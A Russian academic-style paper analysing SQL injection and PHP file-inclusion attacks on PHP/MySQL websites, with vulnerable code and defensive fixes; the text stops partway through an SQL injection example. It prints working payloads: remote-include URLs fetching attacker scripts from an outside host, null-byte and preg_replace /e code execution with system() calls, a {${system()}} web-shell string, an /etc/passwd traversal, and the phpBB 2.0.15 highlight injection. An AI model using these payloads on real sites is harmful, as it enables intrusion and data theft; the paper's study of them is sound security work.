Анализ эффективности применения механизмов SQL-injection и PHP-including для получения несанкционированного доступа к информации, размещенной на Web-узле.

© Хиврин Николай Николаевич
Генеральный директор ООО АЛТВеб
director@altweb.ru

Аннотация

В данной работе изучены и описаны механизмы реализации атак SQL-injection и PHP-including для получения несанкционированного доступа к информации, размещенной на Web-узле. Разработаны методика реализации этих атак и способы защиты от них.

Приведены результаты тестирования стандартных, широко распространенных Web-скриптов на на предмет степени их уязвимости к изучаемым атакам.

Реализованы атаки PHP-including и SQL-injection на тестовом Web узле.

Содержание

Введение

В последние несколько лет глобальная сеть Internet [6] является неотъемлемой частью жизни огромного количества людей. Сейчас практически у каждой компании есть свой Web-сайт, возможности которого позволяют пользователю осуществлять заказы через Интернет или просто получать необходимую информацию; почти все компьютеры имеют возможность выхода в Интернет. С каждым днём появляются всё новые web-службы, функциональность и интерфейсы которых в большинстве своем не уступающие обычным Windows приложениям. Используя весь спектр современных технологий web-разработки возможно создать сайт, возможности которого будут даже выше, чем у хорошей презентационной программы.

WWW (Word-Wide Web- всемирная паутина) - это самый популярный сервис Сети и удобный способ работы с информацией. Именно благодаря WWW Сеть растёт настолько стремительно. С каждым годом Web-сайты становятся всё более сложными и интерактивными, а информация, размещённая на них, - более полной и качественной.

В простейшем случае сайт представляет собой совокупность статических HTML [6] (Hyper Text Markup Language) документов. Информация, размещённая на таком сайте, как правило, постоянна. Этот подход в разработке является оправданным только в тех случаях, если не требуется получать информацию от пользователя или генерировать электронный документы автоматически.

Современные требования к Web-узлам обязывают использовать иные подходы. Информация, размещаемая на Web-узлах, должна быстро обновляться, каждый пользователь должен иметь возможность передавать информацию Web-серверу. Эту проблему помогают решать языки web-программирования, такие как PHP, Perl, ASP и др.. Использую эти технологии, возможно выполнять программный код во время загрузки страницы, который может обрабатывать и передавать браузеру пользователя необходимую информацию. Одним из самых распространённых языков программирования Web-приложений на сегодня является PHP.

Одной из основных проблем сайтов с динамическим содержимым является безопасность информации. Злоумышленник использует возможности языков программирования web-страниц, чтобы получить доступ к конфиденциальной информации на сайте и осуществить её модификацию. Для защиты web-узла необходимы значительные усилия, а предугадать возможные сценарии атаки.

1 Технологии построения web сайтов с динамическим содержимым

1.1 Язык PHP

Язык PHP [9] был разработан как инструмент для решения чисто практических задач. Его создатель, Расмус Лердорф, хотел знать, сколько людей читают его online-резюме, и написал для этого простенькую CGI-оболочку на языке Perl, т.е. это был набор Perl-скриптов, предназначенных исключительно для определенной цели – сбора статистики посещений.

CGI (Common Gateway Interface) является стандартом, который предназначен для создания серверных приложений, работающих по протоколу HTTP. Такие приложения (их называют шлюзами или CGI-программами) запускаются сервером в режиме реального времени. Сервер передает запросы пользователя CGI-программе, которая их обрабатывает и возвращает результат своей работы на экран пользователя. Таким образом, посетитель получает динамическую информацию, которая может изменяться в результате влияния различных факторов. Сам шлюз (скрипт CGI) может быть написан на различных языках программирования – C/C++, Fortran, Perl, TCL, UNIX Shell, Visual Basic, Python и др.

Однако оказалось, что оболочка обладает небольшой производительностью, и пришлось переписать ее заново, но уже на языке Си. После этого исходные коды были выложены на всеобщее обозрение для исправления ошибок и дополнения. Пользователи сервера, где располагался сайт с первой версией PHP, заинтересовались инструментом, появились желающие его использовать. Так что скоро PHP превратился в самостоятельный проект, и в начале 1995 года вышла первая известная версия продукта, называвшаяся Personal Home Page Tools (средства для персональной домашней страницы). Средства эти были более чем скромными: анализатор кода, понимающий всего лишь несколько специальных команд, и набор утилит, полезных для создания гостевой книги, счетчика посещений, чата и т.п.

К середине 1995 года после основательной переработки появилась вторая версия продукта, названная PHP/FI (Personal Home Page / Forms Interpreter – персональная домашняя страница/ интерпретатор форм). Она включала набор базовых возможностей сегодняшнего PHP, возможность автоматически обрабатывать html-формы и встраиваться в html-коды. Синтаксис PHP/FI сильно напоминал синтаксис Perl, но был более простым.

В 1997 вышла вторая версия Си-реализации PHP – PHP/FI 2.0 [9]. К тому моменту PHP использовали уже несколько тысяч людей по всему миру, примерно с 50 тыс. доменов, что составляло

около 1% всего числа доменов Internet. Число разработчиков PHP увеличилось до нескольких человек, но, несмотря на это, PHP/FI 2.0 все еще оставался крупным проектом одного человека. Официально PHP/FI 2.0 вышел только в ноябре 1997 года, просуществовав до этого в основном в бета-версиях. Вскоре после выхода его заменили альфа-версии PHP 3.0.

PHP 3.0 [9] была первой версией, напоминающей PHP, каким мы знаем его сегодня. Он очень сильно отличался от PHP/FI 2.0 и появился опять же как инструмент для решения конкретной прикладной задачи. Его создатели, Энди Гутманс (Andi Gutmans) и Зив Сураски (Zeev Suraski), в 1997 году переписали заново код PHP/FI, поскольку он показался им непригодным для разработки приложения электронной коммерции, над которым они работали. Для того чтобы получить помощь в реализации проекта от разработчиков PHP/FI, Гутманс и Сураски решили объединиться с ними и объявить PHP3 официальным преемником PHP/FI. После объединения разработка PHP/FI была полностью прекращена.

Одной из сильных сторон PHP 3.0 была возможность расширения ядра. Именно свойство расширяемости PHP 3.0 привлекло внимание множества разработчиков, желающих добавить свой модуль расширения. В аббревиатуре PHP больше не было упоминания о персональном использовании, PHP стало сокращением (рекурсивным акронимом) от PHP: Hypertext Preprocessor, что значит «PHP: препроцессор гипертекста».

К концу 1998 года число пользователей PHP [9] возросло до десятков тысяч. Сотни тысяч web-сайтов сообщали о том, что они работают с использованием этого языка. Почти на 10% серверов Internet был установлен PHP 3.0.

Официально PHP 3.0 вышел в июне 1998 года, после 9 месяцев публичного тестирования. А уже к зиме Энди Гутманс и Зив Сураски начали переработку ядра PHP. В их задачи входило увеличение производительности работы сложных приложений и улучшение модульности кода, лежащего в основе PHP [9].

Новое ядро было названо «Zend Engine» [9] (от имен создателей: Zeev и Andi) и впервые представлено в середине 1999 года. PHP 4.0, основанный на этом ядре и принесший с собой набор дополнительных функций, официально вышел в мае 2000 года, почти через два года после своего предшественника, PHP 3.0. Помимо улучшения производительности, PHP 4.0 имел еще несколько ключевых нововведений, таких как поддержка сессий, буферизация вывода, более безопасные способы обработки вводимой пользователем информации и несколько новых языковых конструкций.

В настоящее время ведутся работы по улучшению Zend Engine и внедрению нововведений в PHP 5 [9]. Одно из существенных изменений произошло в объектной модели языка, ее основательно подлатали и добавили много новых возможностей.

От PHP 6 [9] стоит ожидать поддержки Unicode и исключение таких функций, как register_globals, magic_quotes, safe_mode.

Сегодня PHP [7] используется сотнями тысяч разработчиков. Несколько миллионов сайтов написаны на PHP, что составляет более 20% доменов Internet.

Для хранения информации на Web-узле оптимальным является использование базы данных. Одним из самых распространенных решений является MySQL

1.2 MySQL

Изобретателем MySQL [10] является Михаил Видениус (Monty) из шведской компании TcX. В 1979 году он разработал средство управления базами данных, которое называлось UNIREG. В дальнейшем UNIREG была расширена для поддержки больших баз данных и была переписана на нескольких языках. В 1994 году компания TcX стала разрабатывать приложения для www с использованием UNIREG. Однако в связи с большими накладными расходами UNIREG не могла успешно использоваться для динамической генерации Web-страниц. Поэтому Видениус решил связаться с автором mSQL, Хьюзом, чтобы предложить ему подключить mSQL к обработчику B+ ISAM в UNIREG. Однако Хьюз успешно продвинулся на пути к mSQL 2, и компания решила создать сервер баз данных под свои нужды.

В TcX взяли за основу UNIREG и использовали утилиты сторонних разработчиков для mSQL, написали API для своей системы, который изначально сильно совпадал с API для mSQL. Однако это позволяло любому пользователю mSQL, желающему перейти на сервер баз данных TcX, внести в свой код незначительные изменения. Таким образом, в мае 1995 года у компании имелась база данных MySQL 1.0 полностью удовлетворяющая потребностям компании.

MySQL [10] перенесена на многие ОС UNIX, под Win32 и OS/2. На сегодня MySQL представляет собой быстро развивающуюся платформу баз данных.

В 1995 году Дэвид Оксмарк, работающий в компании Detron HB и являющийся бизнес-партнером фирмы, начал «давление» на TcX с тем, чтобы она начала распространять СУБД MySQL через интернет. Кроме того, Дэвид принял участие в работе над документацией. Версия 3.11.1 СУБД MySQL была выпущена в свет в 1996 году в виде бинарного дистрибутива для работы под

управлением ОС Linux и Solaris. Сегодня MySQL работает на многих платформах и доступен как в двоичных кодах, так и в исходных текстах. Благодаря хорошим характеристикам и обширному набору стандартных интерфейсных функций, очень простых в использовании, MySQL стал самым популярным средством для работы с базами данных в PHP.

Лицензионная политика MySQL [10] отличается большей гибкостью в сравнении с другими серверами баз данных. По сути, MySQL распространяется бесплатно за исключением тех случаев, когда вы намереваетесь ее продавать или продавать услуги, создаваемые с ее помощью

MySQL [10] обладает отличной переносимостью и может, с тем же успехом, использоваться на коммерческих операционных системах, таких как Solaris, Irix или Windows, и на любой аппаратной платформе вплоть до мощных серверов. Более того, так же как и её более «дорогие конкуренты», она позволяет работать с большими базами данных, содержащие миллионы записей.

2 Передача данных от пользователя к серверу в протоколе HTTP

Для передачи данных от пользователя к серверу в протоколе HTTP осуществляется с помощью двух основных методов GET и POST.

2.1 Метод GET

В случае передачи переменной методом GET [5], её значение лежит в строке запроса к серверу.

Пример: http://www.yandex.ru/yandsearch?stype=&nl=0&text=%D5%E8%E2%F0%E8%ED

Таблица № 1. Значения передаваемых переменных.

Имя переменной	Значение переменной	Значение в urlencode
Stype	Пустое	Пустое
Nl	0	0
Text	Хиврин	%D5%E8%E2%F0%E8%ED

Подобный запрос можно сгенерировать с помощью формы:

```
<form name="web" method="get" action="/yandsearch" class="search">

<input type="hidden" name="stype" value="">

<input type="hidden" name="nl" value="0">

<input type="text" name="text" value="">

<input type="submit" value="Найти"></td>

</form>
```

Для того, чтобы вывести значение переменной text из PHP скрипта, используют выражение вида:

```
<?
```

```
echo $_GET[‘text’];

?>
```

2.2 Метод POST.

Для передачи переменной методом POST [5] составляется следующая форма:

```
<form name="web" method="POST" action="/yandsearch" class="search">

<input type="hidden" name="stype" value="">

<input type="hidden" name="nl" value="0">

<input type="text" name="text" value="">

<input type="submit" value="Найти"></td>

</form>
```

В этом случае значения переменных передаются в заголовке HTTP запроса:

```
POST /yandsearch HTTP/1.1

******************************

/*  Атрибуты заголовка HTTP 1.1 */

stype=&nl=0&text=%D5%E8%E2%F0%E8%ED
```

Получение значения переменной из PHP:

```
<?

echo $_POST[‘text’];

?>
```

Многие уязвимости Web-сайтов связаны с некорректной обработкой содержимого переменных, передаваемых от пользователя. Двумя наиболее популярными методиками атаки на Web-узел являются SQL-injection и PHP-including.

При осуществлении атаки SQL-injection, атакующие так модифицирует передаваемую переменную, чтобы видоизменить запрос к базе данных и выполнить неразрешённые действия.

При выполнении PHP-including, атакующие так подбирает значение передаваемой переменной, что в текст PHP скрипта подключается зловредный код, который выполняется на Web-узле.

3 Взаимодействие с MySQL средствами PHP

Таблица № 2.Тестовая платформа.

Сервер	HP DL140G2: DUAL XEON 3.4, 3Gb RAM, 2*33.6 Gb SCSI.
Операционная система	Linux Fedora Core 5
Ядро	2.6.17-1.2157_FC5smp
Apache	2.2.2-1.2
PHP	5.1.4-1
php-mysql	5.1.4-1
mysql-server	5.0.22-1.FC5.1
Mysql	5.0.22-1.FC5.1
phpMyAdmin	2.9.0.2

3.1 Соединение с сервером MySQL из PHP

Соединение с базой данных MySQL [9] осуществляется с помощью следующего скрипта:

```
<?
define("DBName","dbname");
define("HostName","localhost");
define("UserName","user");
define("Password","pass");
if(!mysql_connect(HostName,UserName,Password)){
```

```
        echo "Can't connect to db ".DBName;
        echo mysql_error();
        exit;
}
mysql_select_db(DBName);
?>
```

3.2 Осуществление запросов к базе данных.

После того, как соединение установлено, через функцию mysql_query, можно осуществить запрос к базе данных:

```
<?
mysql_query("create table test");
?>
```

Этот запрос создаст таблицу test в текущей базе данных.

4 Атаки PHP-including

Одна из распространенная ошибка заключается в подстановке внешней переменной безо всяких проверок, сразу в оператор include [2]. Обычно это делают при создании модульной системы, каждый модуль которой – php-скрипт, который подключается при определенных условиях.

Пример:

```
$file_name="main.php";

if(@$_GET['id'])

include($_GET['id']);

else

include($file_name);
```

При подключении модулей URL выглядит следующим образом: index.php?id=module.php. Довольно часто, если этого не запрещает конфигурация PHP, можно вставить в тело скрипта свой код таким образом: http://site.ru/index.php?id=http://othersite.ru/anyfile.txt

Где содержимое anyfile.txt - это код PHP-скрипта противника.

Обойти эту уязвимость можно многими путями.

Пример:

```
$ex=".php";

$ file_name ="main".$ex;

if(@$_GET['id'])

include($_GET['id'].$ex);

else

include($file_name);
```

Модуль в виде файла inc.php в данном случае подключается так: http://site.ru/index.php?id=inc. Припишем к файлу anyfile на othersite.ru расширение .php. Теперь инъекция будет выглядеть точно так же: http://site.ru/index.php?id=http://othersite.ru/anyfile

Действительно, ведь скрипт сам прибавит расширение php.

Функция file_exists [4] проверяет существование файла. Она вернет FALSE при обращении к любому удаленному документу. То есть файл должен быть доступен через файловую систему сервера. Таким образом, можно исключить любую инъекцию удаленного фрагмента.

```
$ex=".php";

$file_name ="main".$exp;

if(@$_GET['id'])

$final=$_GET['id'].$ex;

else

$final=$file_name;

if(file_exists($final))

include($final);
```

Однако, на сайте может быть форум, на который атакующий может загрузить файлы, содержащие специальный код. Это могут быть прикреплённые файлы к сообщениям к сообщениям или фотографии. К любому из объектов можно прикрепить незаметно для скрипта, загружающего файл на сервер, PHP-код. Таким образом, полученный файл со зловредным кодом будет находиться на сервере, и одна обработка file_exists здесь не поможет. Если бы расширение не проверялось, и проверка осуществлялась только этой функции, инъекция бы удалась.

Однако почти всегда у фотографий расширения не выходят за границы списка gif, jpg, jpeg, png, а у прикрепляемых файлов — zip, rar, doc. Но в переменной $ex, как правило, содержится что-то вроде .php или .inc.php. Так как же быть, если зловредный код в файле av132.gif, а расширение, указываемое внутри index.php, неизвестно. В PHP существует magic_quotes_gpc. Эта опция PHP разрешает экранирование всех входящих в запрос потенциально опасных символов. В их число

входит апостроф, кавычка и другие. Например, если переслать в cookies или же в GET-, POST-запросах строку Khivrin's_work, то скрипт ее получит как Khivrin\'s_work. Эти функция иногда защищают от взлома скриптов. Именно magic_quotes_gpc, установленная на OFF, позволит провести инъекцию. К числу потенциально опасных символов относится нулевой байт: он обозначает конец строки. При экранировании нулевой байт теряет его значение. Однако без magic_quotes_gpc экранировать его довольно проблематично.

Пример инъекции:

http://site.ru/index.php?id=forum/avatars/user/c20ad4d76fe97759aa27a0c99bff6710.gif%00&c=[COMMAND]

Здесь %00 - закодированный нулевой байт в формате URL. Строка, передаваемая функции include, имеет вид: forum/avatars/user/av132.gif[NULL].php [3]. Нулевой байт отбрасывает правую часть строки. Таким образом, указываемое расширение не имеет значения, и становится возможным подставить в файл PHP фрагмент из фотографии av132.gif. Правда, сейчас большинство хостеров устанавливают magic_quotes_gpc на ON, что защищает скрипты от атаки с нулевым символом.

Реализация атаки через уязвимость в модульном движке. PHP код скрипта:

```
Error_reporting(0);

$ex=».php»;

//$cat – папка с модулями

$default=»main;

#папка с модулями#

if($_GET[‘cat’]==’files’)

$cat=”files”;

elseif($_GET[‘cat’]==’docs’)

$cat=”docs”;

else
```

```
echo «Неверный раздел»;

if(@$_GET['id'])

$final=$_GET[‘id’];

else

$final=$default;

if(!eregi(“[\.’]”, $final) && str_replace(chr(0),’f’,$final)==$final)

include($cat.”/”.$final.$ex);

else

include(“error404”.$ex);
```

Здесь не проверяется существование файла. Если в GET-запросе значение параметра cat не указывает на существующий раздел, будет получено сообщение о неверном разделе, однако дальнейшее исполнение скрипта будет продолжено. Ошибки скрываются через error_reporting(0), поэтому внешне выглядит, что все обработалось корректно.

Можно передать в cat что-то вроде «http://othersite.ru» и положить на othersite.ru скрипт. Если на сервере включен register_globals (параметры из запроса соответствуют одноименным переменным в скрипте), то инъекция будет проведена успешно. В include удаленно инъекцтировать можно не только по http, но и по ftp.

4.1 Загрузка файлов на сервер

При загрузке файлов на сервер стандартные пользовательские функции расширения файла ограничены, однако иногда это можно обойти [4]. Хотя ошибка очень прозрачна, но она до сих пор часто встречается. Неопытные программисты иногда пишут проверку расширений примерно вот так:

```
$exps=array(

'rar',

'zip',
```

```
'doc',
'txt'
); //Возможные расширения
//Проверяем расширение
$rash=explode(".",$_FILES["userfile"]['name']);
if(!in_array(strtolower($rash[1]), $exps))
die('у файла неверное расширение');
```

Ошибка здесь следующая. Скрипт проверяет не расширение файла, а ту часть имени файла, которая находится после первой слева точки до второй слева (если такая имеется). Обычно это и есть расширение файла, однако, если загружать файл с именем shell.txt.php - файл загрузится успешно, и сервер будет понимать загруженный файл, как PHP-интерпретируемый (если не прописаны соответствующие установки в .htaccess). На самом деле, скрипт должен проверять самую последнюю из частей имени файла, полученных разбивкой последнего по точкам.

Другая версия парсера:

```
$exps=array(
'rar',
'zip',
'doc',
'txt'
); //Возможные расширения
//Проверяем расширение
$rash=explode(".",$_FILES["userfile"]['name']);
if(count($rash)< 2)die('у файла нет расширения');
```

```
if(!in_array(strtolower($rash[count($rash)-1]), $exps))

die('у файла неверное расширение');
```

Однако, учитывая особенности сервера Apache (и других), можно утверждать, что данный вариант проверки также уязвим, и на данный момент уязвимости подвержено множество известных PHP-движков. Если Apache не может определить расширения файла, то он смотрит следующую часть имени файла, отделенную точкой от расширения. Например, файл arhive.php.ex в большинстве случаев будет интерпретирован как PHP-скрипт!

В итоге, единственным верным решением будет полная фильтрация имени файла на опасные расширения загружаемого файла. Для страховки также рекомендуется поместить в директорию с файлами .htaccess, с удалением/переопределением опасных расширений. Например:

```
RemoveType .php3 .php .phtml .php4 .php5 .cgi .pl
```

Можно поступить и другим способом. Сохранять на сервере файлы под предопределенным именем (скажем, file<index>file, где <index> - номер файла), а при закачке формировать специальный HTTP-заголовок на основе данных об этом файле, предварительно занесенных в какую-либо БД, обеспечивая передачу файла пользователю под подлинным именем. Можно даже хранить файлы в базе данных, например в MySQL.

4.2 Выполнение PHP кода при помощи eval

Еще одна функция – eval [1]. В PHP она интерпретирует переданную ей строку как PHP-код. Без этой функции можно вполне обойтись практически в любом PHP-приложении. Очень часто ее применяют для удобной смены templat'ов - тем какого-нибудь движка. Хотя сделать то же самое можно и без eval.

```
eval("\$$register_poll_vars[$i] = \"".trim($HTTP_GET_VARS[$register_poll_vars[$i]])."\";")
```

Передавая в GET параметр id в виде id={${php_code}}, можно получить web-шелл

4.3 Функция preg_replace

Функция preg_replace [8] заменяет подстроку (первый параметр), заданную регулярным выражением, на строку (второй параметр), которая также может быть задана регулярным выражением в данной строке (третий параметр). Также существует необязательный 4-ый параметр.

Заменяемая подстрока имеет следующий формат:

[разделитель][выражение][разделитель][модификаторы]

Разделитель - это любой неалфавитный символ (чаще всего это / или #),

Выражение - собственно сам шаблон заменяемого фрагмента, а модификаторы - своего рода указатели. Они указывают правила, по которым обрабатывается регулярное выражение. Каждый модификатор записывается как буква. Например, модификатор i означает поиск без учета регистра. В заменяющей строке могут быть использованы «результаты поиска» в данной строке. В заменяемой подстроке фрагменты результатов логически обозначаются взятием в скобки.

Например, «/(.*)/i» означает поместить всю данную строку в результат №1. Номеруются результаты, начиная с первого номера, по порядку, слева направо, по ходу расположения открывающихся логических скобок в заменяемой подстроке. Чтобы поместить результат с номером n, в заменяющей строке используется сочетание \\n или равносильное $n.

Пример:

```
$c="aba";$c=preg_replace("/([ab]+)/i", "<b>$1</b>", $c);
```

Здесь переменная $c примет значение aba

Модификатор «e», используемый в preg_replace предполагает то, что перед тем, как заменить в исходной строке фрагменты, найденные регулярным выражением новой подстрокой (repalcement), он эту подстроку интерпретирует как PHP-код. Значит, если есть строка $c="ping", то, выполнив вот такой PHP-сценарий

```
$c=preg_replace("/^(.*)$/ie", "print('\\1')", $c);
```

получим содержимое строки $c.

На практике рассмотрим нашумевшую PHP-инъекцию в phpBB, в коде viewtopic.php. Итак, вот фрагмент кода viewtopic.php из phpBB версии 2.0.15:

```
$message = str_replace('\"', '"', substr(@preg_replace

('#(\>(((?>([^><]+|(?R)))*)\<))#se',
```

```
"@preg_replace('#\b(" . str_replace('\\',

'\\\\', $highlight_match) . ")\b#i',

'<span style=\"color:#" . $theme['fontcolor3'] .

"\"><b>\\\\1</b></span>', '\\0')"

, '>' . $message . '<'), 1, -1));
```

highlight_match - переменная, где лежат слова, которые следует подсветить. Пользователь задает $_GET['highlght'], где пробелы разделяют различные слова. $highlight_match - его потомок, где вместо пробелов используется |. Трудно разбирать такое длинное выражение. Поэтому просто смотрим: $highlight_match участвует в параметре replacement функции preg_replace, где в заменяемой подстроке участвует модификатор «e». Причем $highlight_match нигде не обрамляется в addslashes. Это означает, что можно внедриться в тот PHP-сценарий, который выполнится перед заменой подстроки, в строке $message.

Если пользователю задать highlight как «'.system('dir').'», то результатом действия скрипта будет

```
preg_replace('#\b('.system('dir').')\b#i', '...', '...')
```

4.4 Функция preg_replace with NULL

Условно можно считать, что неиспорченный magic_quotes_gpc или addslashes NULL отрезает правую часть строки. NULL можно применить при работе с preg_replace. Если в заменяемой подстроке, определяемой регулярным выражением, втавлена переменная, которую тем или иным способом определяет пользователь, можно попробовать изменить структуру заменяемой подстроки так, чтобы в конце стоял модификатор /e.

Пример:

```
preg_replace("#$c#i", '\\1', $mda);
```

$c и $mda можно как-то определить. Пусть в эксперименте будет задано $mda и $c прямо через GET.

```
script.php?c=(system\(ls\))%23e%00&mda=system(ls)
```

В результате получается листинг файлового каталога. %23 - URL-закодированный символ #.

4.5 PHP-including в движках на текстовых базах данных

Некоторые бесплатные хостеры не предоставляют доступ к MySQL [4]. Для таких случаев пишутся движки на текстовых БД. Структура и общение с текстовыми БД может быть самая разная. Иногда разработчики даже придумывают библиотеки функций для работы с текстовыми БД с помощью некоего подобия языка SQL. В таком случае текстовая БД представляет собой папки и файлы, где папки, например, - это базы данных, файлы - таблицы, а внутри файлов все организовано в виде структуры таблицы. Интересовать будет другой подход к организации БД на файлах. Например, что может быть проще того, чтобы заносить все данные в некий PHP-файл, доступ к которому будет закрыт извне, с тем, чтобы потом его инклудить и получать массивы данных в готовом виде. Рассмотрим уязвимость в exBB 1.9.1. С помощью документированной атаки можно получить доступ к панели администрирования, зайдя в которую, возможно отредактировать основные параметры сайта. Эти параметры хранятся в подключаемом файле (доступ к нему закрыт на основе .htaccess). Файл имеет вид:

```
<?

$exbb['boardurl'] = 'http://exbb';

$exbb['home_path'] = 'z:/home/exbb/www/';

$exbb['boardname'] = 'название форума';

$exbb['boarddesc'] = 'описание форума';

$exbb['announcements'] = 1;

$exbb['topics_per_page'] = 15;

$exbb['posts_per_page'] = 10;

$exbb['ch_files'] = 0777;

$exbb['ch_dirs'] = 0777;

$exbb['ru_nicks'] = 1;

$exbb['reg_simple'] = 0;
```

```
$exbb['default_lang'] = 'russian';

$exbb['default_style'] = 'Original';

$exbb['membergone'] = 15;

...
```

Удалось осуществить инъекцию только в одном из параметров. Это - $exbb['boardurl']. В итоге получился код:

```
$exbb['boardurl'] = 'http://exbb'.@include('http://127.0.0.1/talakin.txt')."
```

Если переменные хранят значения за двойными кавычками, то необязательно выходить за них, что было необходимо с «'». Во-первых, можно вывести себе любую переменную, просто прописав ее имя, а во-вторых, можно выполнить любую функцию, в том числе system и аналоги с помощью способа, который описан ниже.

1)Использовать массив данных, без предварительного объявления. Например:

```
for($i=0;$i<10;$i++)

{

@$a[$i]=$s[$i];

//Копируем 10 первых

//элементов массива $s

//в a, без определения $a

}

for($i=0;$i<count($a);$i++)

{

eval('$y['.$a[$i].']='.$i);
```

```
}
```

Подразумевается, что массив $s никакой опасности для конструкции не представляет. Однако посмотрим, что будет, если на сервере включен register_globals. Если послать такой GET-запрос: http://host/script.php?a[10]=1;system('ls');//, то мы получим листинг файлов директории,в которой находится script.php. Это происходит потому, что определение 11-ого (в массивах элементы считаются от нулевого элемента) никак не противоречит определениям скрипта. Никто не претендует на место 11-го элемента массива, поэтому получаем доступ к якобы уже определенному массиву. Чтобы избавиться от данной ошибки, нужно предварительно написать определение $a=array(). При передаче элемента массива через GET-, POST-запросы или cookies ключ не ставится в кавычки. Таким образом, в запросе следует писать array[nameindex], а не array['nameindex']. Эту ошибку часто можно встретить при работе с модульными файлами. То есть, рассчитывая на определение массива в другом модуле или ядре, конкретный модуль является уязвимым, и иногда при особым образом сформированном запросе, непосредственно к модулю, можно вызвать нежелательное обращение к элементам массива. Это частный случай, а вообще, движки с модулями, доступными для прямого обращения и работающие при таком обращении в обычном режиме являются уязвимыми.

2)Каким-либо образом подвергать опасности уже определенные переменные переопределения. Рассмотрим конкретную ошибку PHP-инъекции в vcard.

Конфигурационные данные движка определены в специальном конфигурационном файле, который подключается в каждый самостоятельный PHP-файл (файл, к которому предполагается непосредственное обращение пользователя), в самом начале этого скрипта. Все конфигурационные данные представляют собой элементы ассоциативного массива $cfg. После чего идет код, который осуществляет замену всех параметров, переданных через GET, в одноименные переменные внутри скрипта.

```
if (!empty($_GET))

{

foreach ($_GET as $tmp_varname => $tmp_value)

{

$$tmp_varname = $tmp_value;
```

```
}

}
```

Обратим внимание, что это происходит после того, как были определены конфигурационные данные! Это означает только одно: можно переопределить все конфигурационные данные, сформировав запрос примерно такого вида:

```
index.php?cfg[hostname]=biricz.at&cfg[dbuser]=bi007vma&cfg[dbname]=bi007vmatest&cfg[skin]=myskin&cfg[dbpass]=ivkxzd&cfg[lang]=../../../../../../../etc/passwd
```

С помощью представленной уязвимости можно подключить произвольный файл, загружать на сервер свои файлы и т.д..

3)Не думать о разнице между «"» и «'». Выше упомянут взлом ресурса. Осуществлен он был через следующий фрагмент скрипта:

```
eval("\$$register_poll_vars[$i] = \"".trim($HTTP_GET_VARS[$register_poll_vars[$i]])."\";")
```

Где в качестве $HTTP_GET_VARS[$register_poll_vars[$i]] можно было подставить параметр id. Если бы в скрипте, например, была бы объявлена переменная, содержащая пароль к БД, а значение этой самой $$register_poll_vars[$i] выводилось бы где-то в stdout'e, мы бы могли передать в id строку $dbpasswd (переменная, содержащая пароль) и получили бы пароль от БД.

Разработчики позаботились о том, чтобы было возможно вызывать произвольную функцию из строки (не "еуче".func()."еуче", а непосредственно без выхода за двойную кавычку). Делается это так:

```
{${function()}}
```

Где function() - обращение к произвольной функции. Если передать скрипту строку {${system([COMMAND])}}, получим веб-шелл.

4.6 Наиболее частые ошибки при разработке PHP скриптов

Параметры могут быть переданы скрипту при помощи 4-х способов: GET, POST, COOKIE, SESSION. Первые три из них пользователь формирует сам. Информация сессии хранится на сервере и не может быть модифицирована пользователем, в то время как cookies можно изменять.

Многие web-программисты относятся к cookies, как к чему-то такому, что проверять надо менее строго, чем POST и GET, поэтому очень часто уязвимости можно встретить именно в параметрах, передаваемых cookies. Это могут быть как XSS, SQL-injection, так и PHP-injection. Рекомендуется для поиска уязвимостей PHP-injection писать программу, которая бы сканировала все файлы скриптов и получала из них все подозрительные вещи: все eval, строки регулярных выражений с модификатором «e», не говоря уже о include, require. Анализируется подобный материал потом достаточно быстро и просто.

5 Атаки SQL-injection

Прежде всего определим, в чем заключается суть атаки типа SQL injection [1]. К примеру, на атакуемом сервере стоит следующий PHP-скрипт, который на основе поля category_id делает выборку заголовков статей из таблицы articles и выводит их пользователю:

```
//подключаемся к MySQL

mysql_connect($dbhost, $dbuname, $dbpass) or die(mysql_error());

mysql_select_db($dbname) or die(mysql_error());

$cid=$_GET["cid"];

$result=mysql_query("SELECT article_id, article_title FROM articles where category_id=$cid"); // <- уязвимый запрос

while( $out = mysql_fetch_array( $result)):

echo "Статья: ".$out['article_id']." ".$out['article_title']."<br>";

endwhile;

//выводим результат в виде списка
```

В переводе с языка MySQL запрос звучит так: "выбрать ид_статей, заголовки_статей из таблицы_статей где ид_категории равно $cid". На первый взгляд все верно, по ссылке типа http://serv.com/read.php?cid=3 скрипт работает нормально и выводит пользователю список статей, принадлежащих категории 3.

Но какие возможности это даёт злоумышленнику? Он может сделает запрос http://serv.com/read.php?cid=3' (именно с кавычкой) и получит что-то вроде: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /usr/local/apache/htdocs/read.php on line 14.

Посмотрим, что запросил PHP у MySQL. Переменная $cid равна 1', тогда запрос принимает неверный с точки зрения MySQL вид: SELECT article_id, article_title FROM articles where

category_id=1'. При синтаксической ошибке в запросе MySQL отвечает строкой "ERROR 1064: You have an error in your SQL syntax...". PHP не может распознать этот ответ и сообщает об ошибке, на основе которой хакер может судить о присутствии уязвимости типа SQL Injection. Очевидно, что злоумышленник получит возможность задавать переменной $cid любые значения ($cid=$_GET[cid]) и, следовательно, модифицировать запрос к MySQL. Например, если $cid будет равна "1 OR 1" (без кавычек в начале и в конце), то MySQL выдаст все записи, независимо от category_id, так как запрос будет иметь вид (..) where category_id=1 OR 1. То есть либо category_id = 1 (подойдут лишь записи с category_id, равными 1), либо 1 (подойдут все записи, так как число больше нуля - всегда истина).

Только что описанные действия как раз и называются SQL Injection - иньекция SQL-кода в запрос скрипта к MySQL. С помощью SQL Injection злоумышленник может получить доступ к тем данным, к которым имеет доступ уязвимый скрипт: пароли к закрытой части сайта, информация о кредитных картах, пароль к администраторскому разделу и т.д.. Атакующий может получит возможность выполнять команды на сервере.

5.1 Пример атаки.

Классический пример уязвимости типа SQL Injection [5] - следующий запрос: SELECT * FROM admins WHERE login='$login' AND password=MD5('$password').

Допустим, он будет проверять подлинность введенных реквизитов для входа в администраторскую часть форума. Переменные $login и $password являются логином и паролем соответственно, и пользователь вводит их в HTML-форму. PHP посылает рассматриваемый запрос и проверяет: если количество возвращенных от MySQL записей больше нуля, то администратор с такими реквизитами существует, а пользователь авторизуется, если иначе (таких записей нет и логин/пароль неверные) - пользователя направят на fsb.ru.

